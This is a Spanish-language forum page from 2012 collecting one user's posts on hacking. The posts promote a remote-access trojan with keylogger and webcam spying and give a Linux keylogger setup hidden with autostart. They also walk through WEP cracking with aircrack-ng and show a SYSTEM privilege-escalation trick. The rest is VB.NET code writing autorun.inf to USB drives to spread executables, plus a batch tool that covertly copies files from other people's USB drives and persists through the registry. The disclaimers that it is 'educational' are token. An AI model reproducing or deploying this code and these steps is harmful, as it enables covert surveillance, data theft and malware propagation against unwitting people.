Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Mensajes - jrchico
Páginas: [1]
2
« en: Mayo 20, 2012, 01:18:13 am »
Vmos a crear un pequeño proyecto para abrir y cerrar el cdrom en windows,<br /><br />Primero creamos un nuevo proyecto de windows application y ahora en el form1 remplazar por este codigo, crear un button1 y un button2 y listo.<br /><br /><br />Imports System.Runtime.InteropServices<br />Public Class Form1<br /> Private rt As String = ""<br /> Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br /> EjectCD()<br /> End Sub<br /> <DllImport("winmm.dll", EntryPoint:="mciSendStringA")> _<br />Private Shared Sub mciSendStringA(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32)<br /> End Sub<br /> Private Sub EjectCD()<br /> Try<br /> mciSendStringA("set CDAudio door open", rt, 127, 0)<br /> Catch ex As Exception<br /><br /> End Try<br /><br /> End Sub<br /> Private Sub CloseCD()<br /> Try<br /> mciSendStringA("set CDAudio door closed", rt, 127, 0)<br /> Catch ex As Exception<br /><br /> End Try<br /><br /> End Sub<br /><br /> Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click<br /> CloseCD()<br /> End Sub<br />End Class<br /><br />Nota: imaginense si lo utilizaramos como un pequeño virus y hicieramos esto:<br />creamos un timer y hacemos que se ejecute cada sierto tiempo y ejecute las funciones.<br /> EjectCD()<br /> CloseCD()<br />lol<br /><br />Nos vemos,
3
« en: Febrero 06, 2012, 11:14:37 pm »
troyan direct local, bueno el nombre se lo puse porque enrealidad esta es una herramienta privada de administracion remota pero cree este demo con opciones limitadas para que prueven mi herramienta... si les gusta talves la pondre full al ratito. nota: esta herramienta te permite tomar el control de cualquier pc teniendo su direccion ip e instalando el archivo Server para activar herramienta troyano.exe con icono de imagen esta estalacion nada mas es miestras esta endencida la pc, porque es un demo si fuera la vercion full se iniciaria cada ves con windows, entre otras opciones tienes en este demo tienes: Keylogger grabacion de teclas, ver la pantalla, ver la camara web, manejar los archivos, escuchar e audio, administrar los proceso. como es una vercion de prueva ilimitada solo son estas opciones la vercion full tiene muchas opciones mas.. bueno al grano, con esta herramienta podrias simplemente contorlar tus pcs en red porque esta vercion solo funciona en red local, o por medio de wifi, ya que la he limitado y deshabilitado opciones de control remoto , la vercion completa puedes controlar pcs en cualquier parte del mundo... Link de descarga de archivos: http://www.multiupload.com/EWRZD0DJTXpasos para utilizarlo: bajate el pack luedo de eso dale doble click al archivo: Troyan jr direct.exe este te permitira administrar las ips que tengas en red, luego de esto ve a las pcs que quieras controlar y copia el archivo activar herramienta troyano.exe y ejecutalo, despues de esto ve a la pc donde dejaste abierto el archivo Troyan jr direct.exe y dale en icono de una carita que tiene un signo de mas para agregar la ip y la descripcion de la pc. ejemplo: ip:192.000.00.00 nombre: jrchico luego preciona aregar. listo te lanzara un mensaje con la confirmacion que la victima o usuario agregado.. luego vuelve atraz y dale click sobre la pc que configuraste o a la que te quieres conectar y selecciona conectar.. y listo podras hacer lo que quieras con la pc, pero solo mientras no se apage ya que esta limitada esa opcion. imagenes:   Cuando estamos conectados  Administracion de archivos   procesos:  Pantalla remota:(como es demo solo puedes verla no la puedes manipular)}  y el keylogger que graba todas las teclas pulzadas en la otra pc:  aqui se las dejo con fines educativos, no me hago responsable de lo que hagan en pc ajenas en red... usenla con responsabilidad no hagan nada malo xd... Nos vemos amigos... salu2
4
« en: Febrero 05, 2012, 11:46:48 pm »
Vamos hacer una explicacion sencilla de lo que es un keylogger. Es un software malintensionado que graba todas la teclas que precionas en algun archivo de texto o ya sea envio remoto de un log de las teclas precionadas por el usuario. 1- Descargamos: http://depositfiles.com/files/m9fh2xb6gDescomprimimos y ocultamos el codigo un ejemplo en "/home/Usuario/lkl" entramos a terminar: cd /home/Usuario/lkl Ahora sudo ./configure Compilamos e instalamos: sudo make && make install Ahora que ya lo tenemos instalado lo ejecutamos: lkl -l -k /home/Usuario/lkl/keymaps/es_km -o LOGS &1. -l sera para iniciar la toma de datos 0x60 (Teclado) 2. -k con esto escogeremos el mapa de teclado a usar, en este caso el de ES, Lo siguiente es la ruta donde se encuentran los diferentes keymap's de los cuales dispone Linux Key Logger. 3. -o LOGS, esto creará el archivo donde se guardara todo lo que tecleemos, LOGS será el nombre del fichero (puedes cambiarlo sin problemas). Listo, ya tenemos nuestro keylogger funcionando en nuestra computadora. Ahora haremos que se inicie con linux, iremos a Sistema -> Preferencias -> Aplicaciónes al inicio -> Añadir. En el apartado -nombre- pondremos "lkl", en -Orden-; el comando que he puesto un poco antes (lkl -l -k /home/Usuario/lkl/keymaps/es_km -o LOGS &), y en -comentario-, introduciremos, por ejemplo, "keylogger". Quedaría algo así:  Para esconder la carpeta "lkl", simplemente pondremos un punto (.) antes del nombre (.lkl). Cuando queramos revisar el archivo, pulsaremos ctrl + H, y se desocultaran todas las carpetas, abriremos el archivo LOGS y ahí estarán registradas todas teclas que hayamos pulsado. Listo espero les sirva algunos, ya que para windows hay muchisimos, luego les subo uno que hice para windows que es muy facil de usar y que trae varias caracteristicas buenas.. Nos vemos, slu2.
5
« en: Febrero 05, 2012, 11:34:01 pm »
bueno en este tutorial vamos a tomar algo sencillo que tengamos a la mano, Aircrack ng, en linux GNU,
Intente hacerles el manual lo mas sencillo posible en 6 simples pasos, leean muy bien porque funciona al 100%, si no les sale intentenlo nuevamente hasta lograrlo.
Aircrack:
Aircrack-ng es una suite para probar la seguridad de las redes inalambricas. Consiste en un analizador de paquetes de redes, un crackeador de redes WEP y WPA/WPA2-PSK y otro conjunto de herramientas de auditoria inalanbrica.
Comensemos, intentare ser lo mas claro posible, ya que tengo muchos manuales en mente de este tipo, luego hare uno sobre beini es otro sistema para el crackeo de redes inalambricas.
1- Instalaremos desde la terminal el Aircrack -ng de la siguiente manera:
sudo apt-get install aircrack-ngListo ahora ya estaria descargado el suite
2- ahora ejecutamos la suite
aircrack-ngen pantalla del terminal nos mostraria la forma de uso y los parametros que se pueden utilizar en aircrack -ng
3- Ahora necesitaremos saber el nombre de nuestra interfaz de RED.
para ello teclamos en consola:
sudo airmon-ngahora sabriamos como se llama nuestra interfaz de RED, en mi caso wlan0
4- Ahora que ya sabemos como se llama comensaremos a escanear las redes al alcanse de nuestra targeta de red, de la siguiente manera(sustituir wlan0 por el nombre de tu interfaz de red):
sudo airodump-ng wlan0
Ahora como resultado estariamos viendo algo como esto en consola:
CH 9 ][ Elapsed: 4 s ][ 2011-12-22 16:47
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN Ciberamy
00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP TURBONETT
[ENC] : Tipo de clave
[BSSID] : MAC, punto de acceso que queremos atakar.
[CH]: El canal que queremos atakar.
[#Data]: Lo mas importante comprobar que el dato que aparece abajo de aqui sea mayor de 0, que este capturando IV's
5- Ahora comensaremos con el atake, en este punto comensamos a capturar paquetes, elejimos la red que queremos crackear:
vamos hacer una prueba con una red que esta por el inframs llamada TURBONETT,comensemos
--bssid : numero de MAC del punto de acceso al que queremos atacar.
--channel: canal en el que emite la red a la que queremos atacar.
--w out: nombre del archivo en el que se guardaran las paquetes capturados.
manos a la obra.
sudo airodump-ng wlan0 --bssid 00:14:6C:7A:41:81 --channel 9 --w outRecuerden lo de sustituir wlan0 por su targeta de red.
CH 9 ][ Elapsed: 12 min ][ 2007-02-25 17:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7A:41:81 34 100 59424 33258 1 9 11 WEP WEP TURBONETT
Podemos ver que llevamos 33258 IV's o Data# con esto es mas que suficiente para comensar con el crackeo de password auque lo recomendable seria unos 600.000 DATA o paquetes para claves WEP de 40 bits, y 1.500.000 IV's para claves de 104 bits.
6- ahora a crackear la contraseña se ha dicho, facilmente despues de tener los suficientes paquetes recividos ejecutamos el sisguiente comando:
sudo aircrack-ng *.cap
Ahora solo a cruzar los d2 jejeje, entre unos 5 a 15 min maximo,estaremos disfrutando de la red crackeada
Nota: por esperiencia personal, muchas veces puedes esperar hasta unos 15.000 datas o paquetes IVS para poder comensar con el crackeo de la password mas con las redes del pais que se rompen en unos instantes xd.
mas adelante les traer un manual de payload, consiste en instrucion a las redes por medio de backtrack(sistema de pentesting) por metaexploit. para hackear sistemas de las redes que ya tenemos acceso.
Bueno esto es todo por esta noche voy haber que hago por ahi xd,Exit
Espero haberles ayudado, no hagan travesuras, solo es con fines educativos, no lo hagan en universidades, bancos, organizaciones del gobierno xd. no me hago responsable de los daños que puedan causar bla bla bla jejeje
6
« en: Febrero 05, 2012, 10:22:51 pm »
Trabajar en modo system todos los permisos en windows
Bueno amigos en esta ocacion les traigo un mini tutorial que hice hace mucho tiempo para trabajar en modo system en el sistema de windows
que es modo system para los que no saben:
esta es una cuenta que normalmente no se obtiene acceso facilmente, esta es una super cuenta que nos permite tener el control sobre la totalidad del sistema como si fueramos su dios.
Utilizaremos la consola de windows para hacer esto:
entramos a inicio ejecutar y ahi escribimos cmd
o precionar tecla win+r y escribe cmd
Bueno iniciemos lo primero que tenemos que hacer es programar una tarea desde la msdos con el comando at
y obtendremos el tiempo con el comando time
at: comando paa programar tareas en modo consola en windows
time: obtiene el tiempo actual de la computadora en formato 00:00:00
iniciemos antes que nada vamos a obtener el tiempo, escribimos en la ventana de msdos el siguiente comando:
timenos daria como resultado algo asi:
La hora actual es: 0:41:46.09ahora ya savemos que la hora actual es: 0:41:46.09, entonces vamos a programar una tarea dos minutos despues con el comando at
como son las 00:41 programaremos la tarea para las 00:44
para eso operamos de la siguiente manera:
at 00:44 /interactive "cmd.exe"
Se ha agregado un nuevo trabajo con identificador = 1aqui nos dice que se agregado una nueva tarea en el index 1 a ejecutarse como numero 1
si tienes otras tareas puedes eliminarlas de la siguiente forma:
at /delete|sat= comando programador de tareas
00:44= hora de este dia a ejecutar la tarea
/interactive = permite ala tarea interactuar con el escritorio del usuario ejecutando un proceso svchost.exe modo system.
"cmd.exe"= comando a ejecutar este puede ser algun programa dejo a su imaginacion, debe ir entre las comillasahora cuando el relog de windows mar que las 00:44 creara un proceso en modo interactivo que permite la ejecucion del svchost.exe=system proceso nos permitira ejecutar comando elevados en modo system.
cuando se halla complido el tiempo lanzara una ventana de msdos solo que ahora ya no sera desde msdos si no desde el archivo svchost.exe, ahora desde esta ventana vamos a entrar en modo system de la siguiente manera:
taskkill /f /im explorer.exe&explorerahora si se los dejo a su imaginacion a manipular los procesos y archivos al gusto...
7
« en: Febrero 06, 2012, 01:08:55 am »
Se que muchos mas de alguna ves se habran preguntado como se propaga el virus de la papelera que metodo utiliza para crear el autorun, bueno analisando muchos metodos llege a mi propia cunclusion y mejore la forma de uso de esta propagacion haciendo de ella indetectable hasta el momento.
Objetos que debemos crear para el buen funcionamiento:
Combobox, con nombre: usbs
Button, con nombre: Button1
Label, con nombre: lis
ahora remplazar todo el codigo del form1 por este: y listo correrlo, analizar su funcionamiento imaginense lo que podrian hacer con esto, todo queda a si imaginacion lol, saludos
Codigo:
Imports System.IO
Public Class Form1
Dim ruta As String = usbs.Text & "Jrjack"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
usbs.DropDownStyle = ComboBoxStyle.DropDownList
cargausb()
End Sub
#Region "Monitor de usb"
Sub cargausb()
Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
Dim d As IO.DriveInfo
For Each d In allDrives
If d.IsReady = True AndAlso d.DriveType = IO.DriveType.Removable Then
usbs.Items.Add(d).ToString()
usbs.Text = d.ToString
Else
End If
Next
End Sub
Private WM_DEVICECHANGE As Integer = &H219
Public Enum WM_DEVICECHANGE_WPPARAMS As Integer
DBT_CONFIGCHANGECANCELED = &H19
DBT_CONFIGCHANGED = &H18
DBT_CUSTOMEVENT = &H8006
DBT_DEVICEARRIVAL = &H8000
DBT_DEVICEQUERYREMOVE = &H8001
DBT_DEVICEQUERYREMOVEFAILED = &H8002
DBT_DEVICEREMOVECOMPLETE = &H8004
DBT_DEVICEREMOVEPENDING = &H8003
DBT_DEVICETYPESPECIFIC = &H8005
DBT_DEVNODES_CHANGED = &H7
DBT_QUERYCHANGECONFIG = &H17
DBT_USERDEFINED = &HFFFF
End Enum
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_DEVICECHANGE Then
Select Case m.WParam
Case WM_DEVICECHANGE_WPPARAMS.DBT_DEVICEARRIVAL
usbs.Items.Clear()
cargausb()
Case WM_DEVICECHANGE_WPPARAMS.DBT_DEVICEREMOVECOMPLETE
usbs.Items.Clear()
cargausb()
End Select
End If
MyBase.WndProc(m)
End Sub
#End Region
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'para la creacion de desktop.ini
Try
My.Computer.FileSystem.CreateDirectory(ruta)
Using escritor As StreamWriter = New StreamWriter(ruta & "\\desktop.ini")
escritor.WriteLine("[.ShellClassInfo]" & vbNewLine & "CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
End Using
Catch ex As Exception
lis.Text = "desktop No copiado correctamente...."
End Try
'---------------------------------------------
'Para la creacion del autorun
Try
If My.Computer.FileSystem.FileExists(usbs.Text & "autorun.inf") Then
My.Computer.FileSystem.DeleteFile(usbs.Text & "autorun.inf")
My.Computer.FileSystem.CopyFile("l.exe", ruta)
Using esc As StreamWriter = New StreamWriter(ruta & "autorun.inf")
esc.WriteLine("[Autorun]" & vbNewLine & _
"Open=" & ruta & "\\auto.exe" & vbNewLine & _
"Icon=%%windir%%\\System32\\SHELL32.DLL,4" & vbNewLine & _
"UseAutoPlay=1" & vbNewLine & "Action= Abrir Memoria Usb" & _
vbNewLine & "Action= @" & ruta & "\\auto.exe" & _
vbNewLine & "Shell\\Open=Abrir" & vbNewLine & "Shell\\Open=Abrir Memoria Usb" & vbNewLine & _
"Shell\\Open\\Command=" & ruta & "\\auto.exe" & vbNewLine & "Shell\\Open\\Default=1" & _
vbNewLine & "Shell\\Explore=Explorar" & vbNewLine & "Shell\\Explore\\Command=" & ruta & "\\auto.exe")
End Using
lis.Text = "Autorun.inf copiado correctamente...."
Else
End If
Catch ex As Exception
End Try
'---------------------------------------------
End Sub
Private Sub usbs_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles usbs.SelectedIndexChanged
End Sub
End Class
y para los araganes no creo que existan les dejo el form1.designer:
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Form1
Inherits System.Windows.Forms.Form
'Form reemplaza a Dispose para limpiar la lista de componentes.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Requerido por el Diseñador de Windows Forms
Private components As System.ComponentModel.IContainer
'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento
'Se puede modificar usando el Diseñador de Windows Forms.
'No lo modifique con el editor de código.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Me.usbs = New System.Windows.Forms.ComboBox
Me.Button1 = New System.Windows.Forms.Button
Me.lis = New System.Windows.Forms.Label
Me.SuspendLayout()
'
'usbs
'
Me.usbs.FormattingEnabled = True
Me.usbs.Location = New System.Drawing.Point(32, 12)
Me.usbs.Name = "usbs"
Me.usbs.Size = New System.Drawing.Size(121, 21)
Me.usbs.TabIndex = 0
'
'Button1
'
Me.Button1.Location = New System.Drawing.Point(54, 65)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(150, 38)
Me.Button1.TabIndex = 1
Me.Button1.Text = "Probar virus"
Me.Button1.UseVisualStyleBackColor = True
'
'lis
'
Me.lis.AutoSize = True
Me.lis.Location = New System.Drawing.Point(105, 118)
Me.lis.Name = "lis"
Me.lis.Size = New System.Drawing.Size(39, 13)
Me.lis.TabIndex = 2
Me.lis.Text = "Label1"
'
'Form1
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(312, 162)
Me.Controls.Add(Me.lis)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.usbs)
Me.Name = "Form1"
Me.Text = "Form1"
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Friend WithEvents usbs As System.Windows.Forms.ComboBox
Friend WithEvents Button1 As System.Windows.Forms.Button
Friend WithEvents lis As System.Windows.Forms.Label
End Class
8
« en: Febrero 06, 2012, 12:59:21 am »
tryusbmh,
Este pequeño proyecto lo hice el año pasado es para copiar archivos de las memorias usb sin que el dueño se de cuenta, ejemplo en los cibers.
simplmente ejecutamos ingreso.bat y lo configuramos al gusto. y las configuraciones se guardan en config.bat, todo el codigo y junto al programa esta adjunto abajo al final del post.
Ejemplo de codigo, descargar el adjunto para tener el codigo completo.
mode con cols=80 lines=45
@echo off&color a
set a1=esperando...&set a2=esperando...&set a3=esperando...&set a4=esperando...&set a5=esperando..
:menu
title Tryusbmh by Jrchico ^> Www.Mundohacking.com
cls
call config.bat
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo %ruta%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Nombre archivo final y de trabajo: %nombre%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Archivo temporal de compilacion: %bates%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±Try usb mh v1 by jrchico±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±^> $ 0. Crear Nuevo tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 1. Modicar ruta, nombre y otros }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 2. Instalar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 3. Desinstalar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 4. Activar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 5. Desactivar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 6. Ver datos tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 7. Salir }}}}}}}}}}}}}}}}}} ¦Www.Mundohacking.com
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p ingreso=Que quieres hacer amigo:^>^>
if "%ingreso%"=="" (goto :menu)
if %ingreso%==0 goto nuevo
if %ingreso%==1 goto modconfi
if %ingreso%==2 goto instalar
if %ingreso%==3 goto Desinstalar
if %ingreso%==4 goto Activar
if %ingreso%==5 goto Desactivar
if %ingreso%==6 goto ver
if %ingreso%==7 goto salir
if %ingreso%==%ingreso% goto menu
:instalar
if not exist %nombre% (msg * Porfavor cree el archivo de instalacion desde la opcion numero 0, para poder continuar, de lo contrario de tener una archivo ya configurado renombrar a %nombre%&goto menu)
if exist "%ruta%\\%nombre%" (
msg * Se encontro una instalacion anterior porfavor desinstale desde la opcion 3, para poder continuar con una nueva instalacion
goto menu
) else (
goto yacre
)
)
:yacre
cls
Title Instalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalando %nombre% porfavor espere.....
if not exist "%ruta%" (mkdir "%ruta%")
echo.
echo %ruta% (24%) ok...
attrib +h "%ruta%"
echo %ruta% ocultar(52%) ok...
echo.
copy "%nombre%" "%ruta%"
echo.
echo %nombre% Intalacion (76%) ok...
attrib +h "%ruta%\\%nombre%"
echo.
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
echo %nombre% ocultar (91%) ok...
echo.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalacion completamente (100%) precione enter para volver al menu.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
pause>nul
goto menu
:Desinstalar
title desinstalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Matando proceso (15%) ok...........
taskkill /f /im %nombre%
echo.
echo Eliminando atributos de archivos (55%).............
attrib -h "%ruta%\\%nombre%"
echo.
echo Eliminando archivos de instalacion (81%)............
del "%ruta%\\%nombre%" /f /q
echo.
echo Eliminando llaves de inicio del registro(100%)
reg delete %userkey% /v tryusbmh /f
echo.
echo Se desinstalo completamente "%ruta%\\%nombre%",
echo pero los archivo que se habian copiado no se borraron para ver los archivos seleccionar la opcion 6
echo.
echo Precione enter para volver al menu...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
goto menu
:nuevo
title creando configuraciones para nuestro tryusbmh...
echo @echo off>%bates%
echo :todo>>%bates%
rem si en un caso tubieras discos duros como la unidad d o e eliminamos las letras
rem ejemplo digamos que tengo la unidad d y e que daria for %%%%a in (f g h i j k l m n o p q r s t u v w x y z) do (
echo for %%%%a in (d e f g h i j k l m n o p q r s t u v w x y z) do (>>%bates%
echo if exist %%%%a: (>>%bates%
rem aqui inician los agregados...............................
cls
goto regreso
:regreso
title Selecciona las opciones de que deseas agregar ala nueva compilacion...
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± ±± Seleccione las configuraciones que desee: ±± ±±
echo.
echo ±± ±± 1. Agregar archivos imagenes %a1% ±± ±± ±±
echo.
echo Www. ±± ±± 2. Agregar archivos comprimidos %a2% ±± ±±
echo.
echo Mundo ±± 3. Agregar archivos de musica %a3% ±± ±± ±±
echo. ±±
echo Hacking ±± 4. Agregar archivos videos %a4% ±± ±± ±±
echo. ±±
echo ±± .com ±± 5. Agregar archivos documentos %a5% ±± ±± ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± ±± 6. Compilar archivo.... ±± ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p sele= Seleccione la opcion valida[1-6]:
if "%sele%"=="" (goto :regreso)
if %sele%==1 goto agregaimg
if %sele%==2 goto agregacompri
if %sele%==3 goto agregamusi
if %sele%==4 goto agregavide
if %sele%==5 goto agregadoc
if %sele%==6 goto compilar
if %sele%==%sele% goto regreso
:agregaimg
echo XCOPY "%%%%a:\\*.jpg" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.gif" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bmp" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.Jpeg" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.png" %ruta%^>nul /E /I /c /h /r>>%bates%
set a1=Ok...
goto regreso
:agregacompri
echo XCOPY "%%%%a:\\*.rar" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.zip" %ruta%^>nul /E /I /c /h /r>>%bates%
set a2=Ok...
goto regreso
:agregamusi
echo XCOPY "%%%%a:\\*.mp3" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.wma" %ruta%^>nul /E /I /c /h /r>>%bates%
set a3=Ok...
goto regreso
:agregavide
echo XCOPY "%%%%a:\\*.mp4" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.avi" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.wmv" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.fly" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.mpg" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.3gp" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.psp" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.rmvb" %ruta%^>nul /E /I /c /h /r>>%bates%
set a4=Ok...
goto regreso
:agregadoc
echo XCOPY "%%%%a:\\*.doc" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.docx" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.txt" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.html" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bat" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.php" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.vb" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.xml" %ruta%^>nul /E /I /c /h /r>>%bates%
set a5=Ok...
goto regreso
:compilar
title Compilando tryusbmh...
rem aqui añadimos ala parte final del archivo....
echo ) else (>>%bates%
echo echo unidad %%%%a: no se encontro se omitio copiado...>>%bates%
echo )>>%bates%
echo )>>%bates%
echo goto todo>>%bates%
echo compilando espere......
if exist "%nombre%" (
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Se encontro una archivo %nombre% anteriormente creado
echo.
echo Porfavor seleccione un nuevo nombre para el archivo
echo.
echo Ejemplo de nombre de respaldo "anterior%nombre%"
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p Numbre=Nuevo Nombre, luego precione enter:^> anterior%nombre%
rename "%nombre%" "Numbre"
) else (
goto yes
)
)
:yes
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
quickbfc "%bates%" "%nombre%"
msg * Compilacion terminada con exito, ahora ya puede instalar...................
del /f "%bates%"
goto menu
:modconfi
title Modificacion de varibles de entorno de instalacion y otros en tryusbmh
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Binvenido a la modificacion de variables ±±±
echo. ±±±
echo 1. Cambiar ruta ±±±
echo. ±±±
echo 2. Cambiar nombre archivo final y de instalacion ±±±
echo. ±±±
echo 3. Cambiar nombre del archivo temporal antes de la compilacion. ±±±
echo. ±±±
echo 4. Guardar las modificaciones realizadas. ±±±
echo. 5.menu ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p opciones=Selecciona una accion [1-4]:
if "%opciones%"=="" (goto :modconfi)
if %opciones%==1 goto rutacam
if %opciones%==2 goto nombrecam
if %opciones%==3 goto nombretem
if %opciones%==4 goto salvar
if %opciones%==5 goto menu
if %opciones%==%opciones% goto modconfi
cls
:rutacam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± :$ Su ruta actual de trabajo es:
echo ±± -^> %ruta%,
echo.±±±±
echo ±±±± Su nueva ruta deberia tener un formato parecido.
echo. ±±±±
echo ±±±± Si no desea escribirla jale la carpeta hacia esta ventana
echo. ±±±±
echo ±±±± Asegurese que la ruta no contenga signos " al principio o
echo. ±±±±
echo ±±±± Al final de lo contrario eliminarlos...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo 1. Ruta de instalacion y copiado de archivos&set /p rutanew=:
if exist "%rutanew%" (
set ruta=%rutanew%
goto nombrecam
) else (
cls
msg * la ruta %rutanew% es invalida, probablemente no exista o contenga " ...
goto rutacam
)
)
pause
